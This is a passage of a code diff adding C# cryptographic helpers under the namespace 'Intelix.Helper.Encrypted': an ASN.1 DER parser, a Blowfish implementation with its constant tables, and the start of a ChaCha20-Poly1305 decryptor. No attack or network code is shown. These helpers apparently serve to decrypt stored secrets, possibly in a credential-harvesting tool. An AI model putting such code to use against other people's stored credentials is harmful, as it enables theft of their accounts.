|
||||
asn1DerObject.Objects[array3.Length - 1].Data = array;
|
||||
i = i + 1 + asn1DerObject.Objects[array3.Length - 1].Lenght;
|
||||
break;
|
||||
}
|
||||
case Type.OctetString:
|
||||
{
|
||||
asn1DerObject.Objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.OctetString,
|
||||
Lenght = toParse[i + 1]
|
||||
});
|
||||
byte[] array = new byte[toParse[i + 1]];
|
||||
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
|
||||
Array.Copy(toParse, i + 2, array, 0, length);
|
||||
Asn1DerObject[] array4 = asn1DerObject.Objects.ToArray();
|
||||
asn1DerObject.Objects[array4.Length - 1].Data = array;
|
||||
i = i + 1 + asn1DerObject.Objects[array4.Length - 1].Lenght;
|
||||
break;
|
||||
}
|
||||
case Type.ObjectIdentifier:
|
||||
{
|
||||
asn1DerObject.Objects.Add(new Asn1DerObject
|
||||
{
|
||||
Type = Type.ObjectIdentifier,
|
||||
Lenght = toParse[i + 1]
|
||||
});
|
||||
byte[] array = new byte[toParse[i + 1]];
|
||||
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
|
||||
Array.Copy(toParse, i + 2, array, 0, length);
|
||||
Asn1DerObject[] array2 = asn1DerObject.Objects.ToArray();
|
||||
asn1DerObject.Objects[array2.Length - 1].Data = array;
|
||||
i = i + 1 + asn1DerObject.Objects[array2.Length - 1].Lenght;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return asn1DerObject;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class Asn1DerObject
|
||||
{
|
||||
public Asn1Der.Type Type { get; set; }
|
||||
|
||||
public int Lenght { get; set; }
|
||||
|
||||
public List<Asn1DerObject> Objects { get; }
|
||||
|
||||
public byte[] Data { get; set; }
|
||||
|
||||
public Asn1DerObject()
|
||||
{
|
||||
Objects = new List<Asn1DerObject>();
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
StringBuilder stringBuilder2 = new StringBuilder();
|
||||
switch (Type)
|
||||
{
|
||||
case Asn1Der.Type.Sequence:
|
||||
stringBuilder.AppendLine("SEQUENCE {");
|
||||
break;
|
||||
case Asn1Der.Type.Integer:
|
||||
{
|
||||
byte[] data = Data;
|
||||
foreach (byte b3 in data)
|
||||
{
|
||||
stringBuilder2.AppendFormat("{0:X2}", b3);
|
||||
}
|
||||
stringBuilder.AppendLine("\tINTEGER " + stringBuilder2);
|
||||
break;
|
||||
}
|
||||
case Asn1Der.Type.OctetString:
|
||||
{
|
||||
byte[] data = Data;
|
||||
foreach (byte b2 in data)
|
||||
{
|
||||
stringBuilder2.AppendFormat("{0:X2}", b2);
|
||||
}
|
||||
stringBuilder.AppendLine("\tOCTETSTRING " + stringBuilder2);
|
||||
break;
|
||||
}
|
||||
case Asn1Der.Type.ObjectIdentifier:
|
||||
{
|
||||
byte[] data = Data;
|
||||
foreach (byte b in data)
|
||||
{
|
||||
stringBuilder2.AppendFormat("{0:X2}", b);
|
||||
}
|
||||
stringBuilder.AppendLine("\tOBJECTIDENTIFIER " + stringBuilder2);
|
||||
break;
|
||||
}
|
||||
}
|
||||
foreach (Asn1DerObject @object in Objects)
|
||||
{
|
||||
stringBuilder.Append(@object);
|
||||
}
|
||||
if (Type.Equals(Asn1Der.Type.Sequence))
|
||||
{
|
||||
stringBuilder.AppendLine("}");
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
using System;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public class Blowfish
|
||||
{
|
||||
public enum Endian
|
||||
{
|
||||
Little,
|
||||
Big
|
||||
}
|
||||
|
||||
public readonly int MinUserKeyLength = 1;
|
||||
|
||||
public readonly int MaxUserKeyLength = 56;
|
||||
|
||||
public readonly int BlockSize = 8;
|
||||
|
||||
private readonly uint[] OriginPBox = new uint[18]
|
||||
{
|
||||
608135816u, 2242054355u, 320440878u, 57701188u, 2752067618u, 698298832u, 137296536u, 3964562569u, 1160258022u, 953160567u,
|
||||
3193202383u, 887688300u, 3232508343u, 3380367581u, 1065670069u, 3041331479u, 2450970073u, 2306472731u
|
||||
};
|
||||
|
||||
private readonly uint[,] OriginSBox = new uint[4, 256]
|
||||
{
|
||||
{
|
||||
3509652390u, 2564797868u, 805139163u, 3491422135u, 3101798381u, 1780907670u, 3128725573u, 4046225305u, 614570311u, 3012652279u,
|
||||
134345442u, 2240740374u, 1667834072u, 1901547113u, 2757295779u, 4103290238u, 227898511u, 1921955416u, 1904987480u, 2182433518u,
|
||||
2069144605u, 3260701109u, 2620446009u, 720527379u, 3318853667u, 677414384u, 3393288472u, 3101374703u, 2390351024u, 1614419982u,
|
||||
1822297739u, 2954791486u, 3608508353u, 3174124327u, 2024746970u, 1432378464u, 3864339955u, 2857741204u, 1464375394u, 1676153920u,
|
||||
1439316330u, 715854006u, 3033291828u, 289532110u, 2706671279u, 2087905683u, 3018724369u, 1668267050u, 732546397u, 1947742710u,
|
||||
3462151702u, 2609353502u, 2950085171u, 1814351708u, 2050118529u, 680887927u, 999245976u, 1800124847u, 3300911131u, 1713906067u,
|
||||
1641548236u, 4213287313u, 1216130144u, 1575780402u, 4018429277u, 3917837745u, 3693486850u, 3949271944u, 596196993u, 3549867205u,
|
||||
258830323u, 2213823033u, 772490370u, 2760122372u, 1774776394u, 2652871518u, 566650946u, 4142492826u, 1728879713u, 2882767088u,
|
||||
1783734482u, 3629395816u, 2517608232u, 2874225571u, 1861159788u, 326777828u, 3124490320u, 2130389656u, 2716951837u, 967770486u,
|
||||
1724537150u, 2185432712u, 2364442137u, 1164943284u, 2105845187u, 998989502u, 3765401048u, 2244026483u, 1075463327u, 1455516326u,
|
||||
1322494562u, 910128902u, 469688178u, 1117454909u, 936433444u, 3490320968u, 3675253459u, 1240580251u, 122909385u, 2157517691u,
|
||||
634681816u, 4142456567u, 3825094682u, 3061402683u, 2540495037u, 79693498u, 3249098678u, 1084186820u, 1583128258u, 426386531u,
|
||||
1761308591u, 1047286709u, 322548459u, 995290223u, 1845252383u, 2603652396u, 3431023940u, 2942221577u, 3202600964u, 3727903485u,
|
||||
1712269319u, 422464435u, 3234572375u, 1170764815u, 3523960633u, 3117677531u, 1434042557u, 442511882u, 3600875718u, 1076654713u,
|
||||
1738483198u, 4213154764u, 2393238008u, 3677496056u, 1014306527u, 4251020053u, 793779912u, 2902807211u, 842905082u, 4246964064u,
|
||||
1395751752u, 1040244610u, 2656851899u, 3396308128u, 445077038u, 3742853595u, 3577915638u, 679411651u, 2892444358u, 2354009459u,
|
||||
1767581616u, 3150600392u, 3791627101u, 3102740896u, 284835224u, 4246832056u, 1258075500u, 768725851u, 2589189241u, 3069724005u,
|
||||
3532540348u, 1274779536u, 3789419226u, 2764799539u, 1660621633u, 3471099624u, 4011903706u, 913787905u, 3497959166u, 737222580u,
|
||||
2514213453u, 2928710040u, 3937242737u, 1804850592u, 3499020752u, 2949064160u, 2386320175u, 2390070455u, 2415321851u, 4061277028u,
|
||||
2290661394u, 2416832540u, 1336762016u, 1754252060u, 3520065937u, 3014181293u, 791618072u, 3188594551u, 3933548030u, 2332172193u,
|
||||
3852520463u, 3043980520u, 413987798u, 3465142937u, 3030929376u, 4245938359u, 2093235073u, 3534596313u, 375366246u, 2157278981u,
|
||||
2479649556u, 555357303u, 3870105701u, 2008414854u, 3344188149u, 4221384143u, 3956125452u, 2067696032u, 3594591187u, 2921233993u,
|
||||
2428461u, 544322398u, 577241275u, 1471733935u, 610547355u, 4027169054u, 1432588573u, 1507829418u, 2025931657u, 3646575487u,
|
||||
545086370u, 48609733u, 2200306550u, 1653985193u, 298326376u, 1316178497u, 3007786442u, 2064951626u, 458293330u, 2589141269u,
|
||||
3591329599u, 3164325604u, 727753846u, 2179363840u, 146436021u, 1461446943u, 4069977195u, 705550613u, 3059967265u, 3887724982u,
|
||||
4281599278u, 3313849956u, 1404054877u, 2845806497u, 146425753u, 1854211946u
|
||||
},
|
||||
{
|
||||
1266315497u, 3048417604u, 3681880366u, 3289982499u, 2909710000u, 1235738493u, 2632868024u, 2414719590u, 3970600049u, 1771706367u,
|
||||
1449415276u, 3266420449u, 422970021u, 1963543593u, 2690192192u, 3826793022u, 1062508698u, 1531092325u, 1804592342u, 2583117782u,
|
||||
2714934279u, 4024971509u, 1294809318u, 4028980673u, 1289560198u, 2221992742u, 1669523910u, 35572830u, 157838143u, 1052438473u,
|
||||
1016535060u, 1802137761u, 1753167236u, 1386275462u, 3080475397u, 2857371447u, 1040679964u, 2145300060u, 2390574316u, 1461121720u,
|
||||
2956646967u, 4031777805u, 4028374788u, 33600511u, 2920084762u, 1018524850u, 629373528u, 3691585981u, 3515945977u, 2091462646u,
|
||||
2486323059u, 586499841u, 988145025u, 935516892u, 3367335476u, 2599673255u, 2839830854u, 265290510u, 3972581182u, 2759138881u,
|
||||
3795373465u, 1005194799u, 847297441u, 406762289u, 1314163512u, 1332590856u, 1866599683u, 4127851711u, 750260880u, 613907577u,
|
||||
1450815602u, 3165620655u, 3734664991u, 3650291728u, 3012275730u, 3704569646u, 1427272223u, 778793252u, 1343938022u, 2676280711u,
|
||||
2052605720u, 1946737175u, 3164576444u, 3914038668u, 3967478842u, 3682934266u, 1661551462u, 3294938066u, 4011595847u, 840292616u,
|
||||
3712170807u, 616741398u, 312560963u, 711312465u, 1351876610u, 322626781u, 1910503582u, 271666773u, 2175563734u, 1594956187u,
|
||||
70604529u, 3617834859u, 1007753275u, 1495573769u, 4069517037u, 2549218298u, 2663038764u, 504708206u, 2263041392u, 3941167025u,
|
||||
2249088522u, 1514023603u, 1998579484u, 1312622330u, 694541497u, 2582060303u, 2151582166u, 1382467621u, 776784248u, 2618340202u,
|
||||
3323268794u, 2497899128u, 2784771155u, 503983604u, 4076293799u, 907881277u, 423175695u, 432175456u, 1378068232u, 4145222326u,
|
||||
3954048622u, 3938656102u, 3820766613u, 2793130115u, 2977904593u, 26017576u, 3274890735u, 3194772133u, 1700274565u, 1756076034u,
|
||||
4006520079u, 3677328699u, 720338349u, 1533947780u, 354530856u, 688349552u, 3973924725u, 1637815568u, 332179504u, 3949051286u,
|
||||
53804574u, 2852348879u, 3044236432u, 1282449977u, 3583942155u, 3416972820u, 4006381244u, 1617046695u, 2628476075u, 3002303598u,
|
||||
1686838959u, 431878346u, 2686675385u, 1700445008u, 1080580658u, 1009431731u, 832498133u, 3223435511u, 2605976345u, 2271191193u,
|
||||
2516031870u, 1648197032u, 4164389018u, 2548247927u, 300782431u, 375919233u, 238389289u, 3353747414u, 2531188641u, 2019080857u,
|
||||
1475708069u, 455242339u, 2609103871u, 448939670u, 3451063019u, 1395535956u, 2413381860u, 1841049896u, 1491858159u, 885456874u,
|
||||
4264095073u, 4001119347u, 1565136089u, 3898914787u, 1108368660u, 540939232u, 1173283510u, 2745871338u, 3681308437u, 4207628240u,
|
||||
3343053890u, 4016749493u, 1699691293u, 1103962373u, 3625875870u, 2256883143u, 3830138730u, 1031889488u, 3479347698u, 1535977030u,
|
||||
4236805024u, 3251091107u, 2132092099u, 1774941330u, 1199868427u, 1452454533u, 157007616u, 2904115357u, 342012276u, 595725824u,
|
||||
1480756522u, 206960106u, 497939518u, 591360097u, 863170706u, 2375253569u, 3596610801u, 1814182875u, 2094937945u, 3421402208u,
|
||||
1082520231u, 3463918190u, 2785509508u, 435703966u, 3908032597u, 1641649973u, 2842273706u, 3305899714u, 1510255612u, 2148256476u,
|
||||
2655287854u, 3276092548u, 4258621189u, 236887753u, 3681803219u, 274041037u, 1734335097u, 3815195456u, 3317970021u, 1899903192u,
|
||||
1026095262u, 4050517792u, 356393447u, 2410691914u, 3873677099u, 3682840055u
|
||||
},
|
||||
{
|
||||
3913112168u, 2491498743u, 4132185628u, 2489919796u, 1091903735u, 1979897079u, 3170134830u, 3567386728u, 3557303409u, 857797738u,
|
||||
1136121015u, 1342202287u, 507115054u, 2535736646u, 337727348u, 3213592640u, 1301675037u, 2528481711u, 1895095763u, 1721773893u,
|
||||
3216771564u, 62756741u, 2142006736u, 835421444u, 2531993523u, 1442658625u, 3659876326u, 2882144922u, 676362277u, 1392781812u,
|
||||
170690266u, 3921047035u, 1759253602u, 3611846912u, 1745797284u, 664899054u, 1329594018u, 3901205900u, 3045908486u, 2062866102u,
|
||||
2865634940u, 3543621612u, 3464012697u, 1080764994u, 553557557u, 3656615353u, 3996768171u, 991055499u, 499776247u, 1265440854u,
|
||||
648242737u, 3940784050u, 980351604u, 3713745714u, 1749149687u, 3396870395u, 4211799374u, 3640570775u, 1161844396u, 3125318951u,
|
||||
1431517754u, 545492359u, 4268468663u, 3499529547u, 1437099964u, 2702547544u, 3433638243u, 2581715763u, 2787789398u, 1060185593u,
|
||||
1593081372u, 2418618748u, 4260947970u, 69676912u, 2159744348u, 86519011u, 2512459080u, 3838209314u, 1220612927u, 3339683548u,
|
||||
133810670u, 1090789135u, 1078426020u, 1569222167u, 845107691u, 3583754449u, 4072456591u, 1091646820u, 628848692u, 1613405280u,
|
||||
3757631651u, 526609435u, 236106946u, 48312990u, 2942717905u, 3402727701u, 1797494240u, 859738849u, 992217954u, 4005476642u,
|
||||
2243076622u, 3870952857u, 3732016268u, 765654824u, 3490871365u, 2511836413u, 1685915746u, 3888969200u, 1414112111u, 2273134842u,
|
||||
3281911079u, 4080962846u, 172450625u, 2569994100u, 980381355u, 4109958455u, 2819808352u, 2716589560u, 2568741196u, 3681446669u,
|
||||
3329971472u, 1835478071u, 660984891u, 3704678404u, 4045999559u, 3422617507u, 3040415634u, 1762651403u, 1719377915u, 3470491036u,
|
||||
2693910283u, 3642056355u, 3138596744u, 1364962596u, 2073328063u, 1983633131u, 926494387u, 3423689081u, 2150032023u, 4096667949u,
|
||||
1749200295u, 3328846651u, 309677260u, 2016342300u, 1779581495u, 3079819751u, 111262694u, 1274766160u, 443224088u, 298511866u,
|
||||
1025883608u, 3806446537u, 1145181785u, 168956806u, 3641502830u, 3584813610u, 1689216846u, 3666258015u, 3200248200u, 1692713982u,
|
||||
2646376535u, 4042768518u, 1618508792u, 1610833997u, 3523052358u, 4130873264u, 2001055236u, 3610705100u, 2202168115u, 4028541809u,
|
||||
2961195399u, 1006657119u, 2006996926u, 3186142756u, 1430667929u, 3210227297u, 1314452623u, 4074634658u, 4101304120u, 2273951170u,
|
||||
1399257539u, 3367210612u, 3027628629u, 1190975929u, 2062231137u, 2333990788u, 2221543033u, 2438960610u, 1181637006u, 548689776u,
|
||||
2362791313u, 3372408396u, 3104550113u, 3145860560u, 296247880u, 1970579870u, 3078560182u, 3769228297u, 1714227617u, 3291629107u,
|
||||
3898220290u, 166772364u, 1251581989u, 493813264u, 448347421u, 195405023u, 2709975567u, 677966185u, 3703036547u, 1463355134u,
|
||||
2715995803u, 1338867538u, 1343315457u, 2802222074u, 2684532164u, 233230375u, 2599980071u, 2000651841u, 3277868038u, 1638401717u,
|
||||
4028070440u, 3237316320u, 6314154u, 819756386u, 300326615u, 590932579u, 1405279636u, 3267499572u, 3150704214u, 2428286686u,
|
||||
3959192993u, 3461946742u, 1862657033u, 1266418056u, 963775037u, 2089974820u, 2263052895u, 1917689273u, 448879540u, 3550394620u,
|
||||
3981727096u, 150775221u, 3627908307u, 1303187396u, 508620638u, 2975983352u, 2726630617u, 1817252668u, 1876281319u, 1457606340u,
|
||||
908771278u, 3720792119u, 3617206836u, 2455994898u, 1729034894u, 1080033504u
|
||||
},
|
||||
{
|
||||
976866871u, 3556439503u, 2881648439u, 1522871579u, 1555064734u, 1336096578u, 3548522304u, 2579274686u, 3574697629u, 3205460757u,
|
||||
3593280638u, 3338716283u, 3079412587u, 564236357u, 2993598910u, 1781952180u, 1464380207u, 3163844217u, 3332601554u, 1699332808u,
|
||||
1393555694u, 1183702653u, 3581086237u, 1288719814u, 691649499u, 2847557200u, 2895455976u, 3193889540u, 2717570544u, 1781354906u,
|
||||
1676643554u, 2592534050u, 3230253752u, 1126444790u, 2770207658u, 2633158820u, 2210423226u, 2615765581u, 2414155088u, 3127139286u,
|
||||
673620729u, 2805611233u, 1269405062u, 4015350505u, 3341807571u, 4149409754u, 1057255273u, 2012875353u, 2162469141u, 2276492801u,
|
||||
2601117357u, 993977747u, 3918593370u, 2654263191u, 753973209u, 36408145u, 2530585658u, 25011837u, 3520020182u, 2088578344u,
|
||||
530523599u, 2918365339u, 1524020338u, 1518925132u, 3760827505u, 3759777254u, 1202760957u, 3985898139u, 3906192525u, 674977740u,
|
||||
4174734889u, 2031300136u, 2019492241u, 3983892565u, 4153806404u, 3822280332u, 352677332u, 2297720250u, 60907813u, 90501309u,
|
||||
3286998549u, 1016092578u, 2535922412u, 2839152426u, 457141659u, 509813237u, 4120667899u, 652014361u, 1966332200u, 2975202805u,
|
||||
55981186u, 2327461051u, 676427537u, 3255491064u, 2882294119u, 3433927263u, 1307055953u, 942726286u, 933058658u, 2468411793u,
|
||||
3933900994u, 4215176142u, 1361170020u, 2001714738u, 2830558078u, 3274259782u, 1222529897u, 1679025792u, 2729314320u, 3714953764u,
|
||||
1770335741u, 151462246u, 3013232138u, 1682292957u, 1483529935u, 471910574u, 1539241949u, 458788160u, 3436315007u, 1807016891u,
|
||||
3718408830u, 978976581u, 1043663428u, 3165965781u, 1927990952u, 4200891579u, 2372276910u, 3208408903u, 3533431907u, 1412390302u,
|
||||
2931980059u, 4132332400u, 1947078029u, 3881505623u, 4168226417u, 2941484381u, 1077988104u, 1320477388u, 886195818u, 18198404u,
|
||||
3786409000u, 2509781533u, 112762804u, 3463356488u, 1866414978u, 891333506u, 18488651u, 661792760u, 1628790961u, 3885187036u,
|
||||
3141171499u, 876946877u, 2693282273u, 1372485963u, 791857591u, 2686433993u, 3759982718u, 3167212022u, 3472953795u, 2716379847u,
|
||||
445679433u, 3561995674u, 3504004811u, 3574258232u, 54117162u, 3331405415u, 2381918588u, 3769707343u, 4154350007u, 1140177722u,
|
||||
4074052095u, 668550556u, 3214352940u, 367459370u, 261225585u, 2610173221u, 4209349473u, 3468074219u, 3265815641u, 314222801u,
|
||||
3066103646u, 3808782860u, 282218597u, 3406013506u, 3773591054u, 379116347u, 1285071038u, 846784868u, 2669647154u, 3771962079u,
|
||||
3550491691u, 2305946142u, 453669953u, 1268987020u, 3317592352u, 3279303384u, 3744833421u, 2610507566u, 3859509063u, 266596637u,
|
||||
3847019092u, 517658769u, 3462560207u, 3443424879u, 370717030u, 4247526661u, 2224018117u, 4143653529u, 4112773975u, 2788324899u,
|
||||
2477274417u, 1456262402u, 2901442914u, 1517677493u, 1846949527u, 2295493580u, 3734397586u, 2176403920u, 1280348187u, 1908823572u,
|
||||
3871786941u, 846861322u, 1172426758u, 3287448474u, 3383383037u, 1655181056u, 3139813346u, 901632758u, 1897031941u, 2986607138u,
|
||||
3066810236u, 3447102507u, 1393639104u, 373351379u, 950779232u, 625454576u, 3124240540u, 4148612726u, 2007998917u, 544563296u,
|
||||
2244738638u, 2330496472u, 2058025392u, 1291430526u, 424198748u, 50039436u, 29584100u, 3605783033u, 2429876329u, 2791104160u,
|
||||
1057563949u, 3255363231u, 3075367218u, 3463963227u, 1469046755u, 985887462u
|
||||
}
|
||||
};
|
||||
|
||||
private uint[] SubKey;
|
||||
|
||||
private uint[,] SBox;
|
||||
|
||||
private uint _F_Transform(uint x)
|
||||
{
|
||||
byte[] bytes = BitConverter.GetBytes(x);
|
||||
if (!BitConverter.IsLittleEndian)
|
||||
{
|
||||
Array.Reverse(bytes);
|
||||
}
|
||||
return ((SBox[0, bytes[3]] + SBox[1, bytes[2]]) ^ SBox[2, bytes[1]]) + SBox[3, bytes[0]];
|
||||
}
|
||||
|
||||
public void Encrypt(byte[] srcBytes, Endian endian)
|
||||
{
|
||||
byte[] array = new byte[4];
|
||||
byte[] array2 = new byte[4];
|
||||
Array.Copy(srcBytes, 0, array, 0, 4);
|
||||
Array.Copy(srcBytes, 4, array2, 0, 4);
|
||||
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
|
||||
{
|
||||
Array.Reverse(array);
|
||||
Array.Reverse(array2);
|
||||
}
|
||||
uint num = BitConverter.ToUInt32(array, 0);
|
||||
uint num2 = BitConverter.ToUInt32(array2, 0);
|
||||
num ^= SubKey[0];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[1];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[2];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[3];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[4];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[5];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[6];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[7];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[8];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[9];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[10];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[11];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[12];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[13];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[14];
|
||||
num2 ^= _F_Transform(num);
|
||||
num2 ^= SubKey[15];
|
||||
num ^= _F_Transform(num2);
|
||||
num ^= SubKey[16];
|
||||
num2 ^= SubKey[17];
|
||||
array = BitConverter.GetBytes(num2);
|
||||
array2 = BitConverter.GetBytes(num);
|
||||
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
|
||||
{
|
||||
Array.Reverse(array);
|
||||
Array.Reverse(array2);
|
||||
}
|
||||
Array.Copy(array, 0, srcBytes, 0, 4);
|
||||
Array.Copy(array2, 0, srcBytes, 4, 4);
|
||||
}
|
||||
|
||||
public void Decrypt(byte[] srcBytes, Endian endian)
|
||||
{
|
||||
byte[] array = new byte[4];
|
||||
byte[] array2 = new byte[4];
|
||||
Array.Copy(srcBytes, 0, array, 0, 4);
|
||||
Array.Copy(srcBytes, 4, array2, 0, 4);
|
||||
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
|
||||
{
|
||||
Array.Reverse(array);
|
||||
Array.Reverse(array2);
|
||||
}
|
||||
uint num = BitConverter.ToUInt32(array2, 0);
|
||||
uint num2 = BitConverter.ToUInt32(array, 0);
|
||||
num ^= SubKey[16];
|
||||
num2 ^= SubKey[17];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[15];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[14];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[13];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[12];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[11];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[10];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[9];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[8];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[7];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[6];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[5];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[4];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[3];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[2];
|
||||
num ^= _F_Transform(num2);
|
||||
num2 ^= SubKey[1];
|
||||
num2 ^= _F_Transform(num);
|
||||
num ^= SubKey[0];
|
||||
array = BitConverter.GetBytes(num);
|
||||
array2 = BitConverter.GetBytes(num2);
|
||||
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
|
||||
{
|
||||
Array.Reverse(array);
|
||||
Array.Reverse(array2);
|
||||
}
|
||||
Array.Copy(array, 0, srcBytes, 0, 4);
|
||||
Array.Copy(array2, 0, srcBytes, 4, 4);
|
||||
}
|
||||
|
||||
public Blowfish(byte[] UserKey)
|
||||
{
|
||||
if (UserKey.Length < MinUserKeyLength)
|
||||
{
|
||||
throw new ArgumentException("UserKey is too short.");
|
||||
}
|
||||
if (UserKey.Length > 56)
|
||||
{
|
||||
throw new ArgumentException("UserKey is too long.");
|
||||
}
|
||||
SubKey = OriginPBox.Clone() as uint[];
|
||||
SBox = OriginSBox.Clone() as uint[,];
|
||||
for (int i = 0; i < 18; i++)
|
||||
{
|
||||
uint num = 0u;
|
||||
num <<= 8;
|
||||
num |= UserKey[i * 4 % UserKey.Length];
|
||||
num <<= 8;
|
||||
num |= UserKey[(i * 4 + 1) % UserKey.Length];
|
||||
num <<= 8;
|
||||
num |= UserKey[(i * 4 + 2) % UserKey.Length];
|
||||
num <<= 8;
|
||||
num |= UserKey[(i * 4 + 3) % UserKey.Length];
|
||||
SubKey[i] ^= num;
|
||||
}
|
||||
byte[] array = new byte[8];
|
||||
for (int j = 0; j < 9; j++)
|
||||
{
|
||||
Encrypt(array, Endian.Little);
|
||||
Buffer.BlockCopy(array, 0, SubKey, 8 * j, 8);
|
||||
}
|
||||
for (int k = 0; k < 4; k++)
|
||||
{
|
||||
for (int l = 0; l < 128; l++)
|
||||
{
|
||||
Encrypt(array, Endian.Little);
|
||||
Buffer.BlockCopy(array, 0, SBox, 1024 * k + 8 * l, 8);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,244 @@
|
||||
using System;
|
||||
using System.Numerics;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace Intelix.Helper.Encrypted;
|
||||
|
||||
public static class ChaCha20Poly1305
|
||||
{
|
||||
public static byte[] Decrypt(byte[] key32, byte[] iv12, byte[] ciphertext, byte[] tag, byte[] aad = null)
|
||||
{
|
||||
if (key32 == null)
|
||||
{
|
||||
throw new ArgumentNullException("key32");
|
||||
}
|
||||
if (key32.Length != 32)
|
||||
{
|
||||
throw new ArgumentException("Key must be 32 bytes", "key32");
|
||||
}
|
||||
if (iv12 == null)
|
||||
{
|
||||
throw new ArgumentNullException("iv12");
|
||||
}
|
||||
if (iv12.Length != 12)
|
||||
{
|
||||
throw new ArgumentException("IV must be 12 bytes", "iv12");
|
||||
}
|
||||
if (ciphertext == null)
|
||||
{
|
||||
throw new ArgumentNullException("ciphertext");
|
||||
}
|
||||
if (tag == null)
|
||||
{
|
||||
throw new ArgumentNullException("tag");
|
||||
}
|
||||
if (tag.Length != 16)
|
||||
{
|
||||
throw new ArgumentException("Tag must be 16 bytes", "tag");
|
||||
}
|
||||
if (aad == null)
|
||||
{
|
||||
aad = Array.Empty<byte>();
|
||||
}
|
||||
byte[] array = ChaCha20Block(key32, 0u, iv12);
|
||||
byte[] array2 = new byte[32];
|
||||
Buffer.BlockCopy(array, 0, array2, 0, 32);
|
||||
byte[] msg = BuildPoly1305Message(aad, ciphertext);
|
||||
if (!FixedTimeEquals(Poly1305TagWithBigInteger(array2, msg), tag))
|
||||
{
|
||||
Array.Clear(array, 0, array.Length);
|
||||
Array.Clear(array2, 0, array2.Length);
|
||||
throw new CryptographicException("ChaCha20-Poly1305 authentication failed (tag mismatch).");
|
||||
}
|
||||
byte[] array3 = new byte[ciphertext.Length];
|
||||
ChaCha20Xor(key32, 1u, iv12, ciphertext, array3);
|
||||
Array.Clear(array, 0, array.Length);
|
||||
Array.Clear(array2, 0, array2.Length);
|
||||
return array3;
|
||||
}
|
||||
|
||||
private static byte[] ChaCha20Block(byte[] key32, uint counter, byte[] nonce12)
|
||||
{
|
||||
uint[] array = new uint[16]
|
||||
{
|
||||
1634760805u, 857760878u, 2036477234u, 1797285236u, 0u, 0u, 0u, 0u, 0u, 0u,
|
||||
0u, 0u, 0u, 0u, 0u, 0u
|
||||
};
|
||||
for (int i = 0; i < 8; i++)
|
||||
{
|
||||
array[4 + i] = ToUInt32Little(key32, i * 4);
|
||||
}
|
||||
array[12] = counter;
|
||||
array[13] = ToUInt32Little(nonce12, 0);
|
||||
array[14] = ToUInt32Little(nonce12, 4);
|
||||
array[15] = ToUInt32Little(nonce12, 8);
|
||||
uint[] array2 = new uint[16];
|
||||
Array.Copy(array, array2, 16);
|
||||
for (int j = 0; j < 10; j++)
|
||||
{
|
||||
QuarterRound(ref array2[0], ref array2[4], ref array2[8], ref array2[12]);
|
||||
QuarterRound(ref array2[1], ref array2[5], ref array2[9], ref array2[13]);
|
||||
QuarterRound(ref array2[2], ref array2[6], ref array2[10], ref array2[14]);
|
||||
QuarterRound(ref array2[3], ref array2[7], ref array2[11], ref array2[15]);
|
||||
QuarterRound(ref array2[0], ref array2[5], ref array2[10], ref array2[15]);
|
||||
QuarterRound(ref array2[1], ref array2[6], ref array2[11], ref array2[12]);
|
||||
QuarterRound(ref array2[2], ref array2[7], ref array2[8], ref array2[13]);
|
||||
QuarterRound(ref array2[3], ref array2[4], ref array2[9], ref array2[14]);
|
||||
}
|
||||
byte[] array3 = new byte[64];
|
||||
for (int k = 0; k < 16; k++)
|
||||
